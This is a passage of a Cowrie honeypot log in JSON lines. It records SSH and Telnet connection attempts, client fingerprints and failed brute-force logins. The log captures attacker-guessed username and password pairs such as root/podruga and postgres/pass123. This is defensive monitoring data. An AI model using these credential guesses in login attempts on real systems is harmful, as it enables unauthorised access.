{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60396,"dst_ip":"10.17.0.5","dst_port":22,"session":"c72ba2b6dc29","protocol":"ssh","message":"New connection: 103.77.175.15:60396 (10.17.0.5:22) [session: c72ba2b6dc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:53.625644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:53.629485Z","src_ip":"103.77.175.15","session":"c72ba2b6dc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:53.863392Z","src_ip":"103.77.175.15","session":"c72ba2b6dc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"podruga","message":"login attempt [root/podruga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:54.568241Z","src_ip":"103.77.175.15","session":"c72ba2b6dc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:55.805042Z","src_ip":"103.77.175.15","session":"c72ba2b6dc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50154,"dst_ip":"10.17.0.5","dst_port":22,"session":"08227b39dddb","protocol":"ssh","message":"New connection: 103.149.28.157:50154 (10.17.0.5:22) [session: 08227b39dddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:57.815408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:57.819377Z","src_ip":"103.149.28.157","session":"08227b39dddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:58.062750Z","src_ip":"103.149.28.157","session":"08227b39dddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q1w1e","message":"login attempt [root/1q1w1e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:58.798761Z","src_ip":"103.149.28.157","session":"08227b39dddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:00.045686Z","src_ip":"103.149.28.157","session":"08227b39dddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":38452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a207446e4e","protocol":"ssh","message":"New connection: 161.97.75.11:38452 (10.17.0.5:22) [session: e2a207446e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:05.299810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:05.304575Z","src_ip":"161.97.75.11","session":"e2a207446e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:05.399804Z","src_ip":"161.97.75.11","session":"e2a207446e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matrixportapp","password":"matrixport123","message":"login attempt [matrixportapp/matrixport123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:05.681364Z","src_ip":"161.97.75.11","session":"e2a207446e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:06.777542Z","src_ip":"161.97.75.11","session":"e2a207446e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39864,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c86c136689c","protocol":"ssh","message":"New connection: 91.92.40.4:39864 (10.17.0.5:22) [session: 0c86c136689c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:09.343041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:09.346949Z","src_ip":"91.92.40.4","session":"0c86c136689c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:09.428292Z","src_ip":"91.92.40.4","session":"0c86c136689c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass123","message":"login attempt [postgres/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:09.678183Z","src_ip":"91.92.40.4","session":"0c86c136689c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:10.762235Z","src_ip":"91.92.40.4","session":"0c86c136689c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d49ab7692a9","protocol":"telnet","message":"New connection: 143.198.154.150:42552 (159.203.135.109:23) [session: 7d49ab7692a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:15.811911Z"}
{"eventid":"cowrie.session.closed","duration":11.828376054763794,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:27.640186Z","src_ip":"143.198.154.150","session":"7d49ab7692a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":60654,"dst_ip":"10.17.0.5","dst_port":22,"session":"32b62c694d68","protocol":"ssh","message":"New connection: 162.240.75.182:60654 (10.17.0.5:22) [session: 32b62c694d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:33.771293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:33.776444Z","src_ip":"162.240.75.182","session":"32b62c694d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:33.865697Z","src_ip":"162.240.75.182","session":"32b62c694d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xvs456","message":"login attempt [root/xvs456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:34.134040Z","src_ip":"162.240.75.182","session":"32b62c694d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55270,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb8272a4efd","protocol":"ssh","message":"New connection: 103.153.68.219:55270 (159.203.135.109:22) [session: 8bb8272a4efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:35.052642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:35.056378Z","src_ip":"103.153.68.219","session":"8bb8272a4efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:35.225827Z","src_ip":"162.240.75.182","session":"32b62c694d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:35.309672Z","src_ip":"103.153.68.219","session":"8bb8272a4efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1002","message":"login attempt [root/1002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:36.074042Z","src_ip":"103.153.68.219","session":"8bb8272a4efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:37.333294Z","src_ip":"103.153.68.219","session":"8bb8272a4efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43578,"dst_ip":"159.203.135.109","dst_port":23,"session":"5637a84485b3","protocol":"telnet","message":"New connection: 170.64.224.25:43578 (159.203.135.109:23) [session: 5637a84485b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:44.481387Z"}
{"eventid":"cowrie.session.closed","duration":120.00320506095886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:47.134760Z","src_ip":"170.64.224.25","session":"2aff09d02fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.48020124435425,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:12:48.449059Z","src_ip":"170.64.224.25","session":"eb1638591449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47182,"dst_ip":"159.203.135.109","dst_port":23,"session":"3040992f59d6","protocol":"telnet","message":"New connection: 170.64.224.25:47182 (159.203.135.109:23) [session: 3040992f59d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:03.171671Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47192,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f8df9ad274","protocol":"telnet","message":"New connection: 170.64.224.25:47192 (159.203.135.109:23) [session: 12f8df9ad274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:07.689453Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34268,"dst_ip":"159.203.135.109","dst_port":23,"session":"42baae4ddd20","protocol":"telnet","message":"New connection: 170.64.224.25:34268 (159.203.135.109:23) [session: 42baae4ddd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:16.840500Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42374,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b7ea5076a8","protocol":"ssh","message":"New connection: 194.59.206.2:42374 (10.17.0.5:22) [session: 99b7ea5076a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:19.856431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:19.859844Z","src_ip":"194.59.206.2","session":"99b7ea5076a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:19.946676Z","src_ip":"194.59.206.2","session":"99b7ea5076a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:20.038341Z","src_ip":"194.59.206.2","session":"99b7ea5076a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.63275742530823,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:30.114031Z","src_ip":"170.64.224.25","session":"5637a84485b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":45832,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8ffb1be7f2","protocol":"ssh","message":"New connection: 185.207.107.77:45832 (10.17.0.5:22) [session: 9e8ffb1be7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:33.545392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:33.549674Z","src_ip":"185.207.107.77","session":"9e8ffb1be7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecd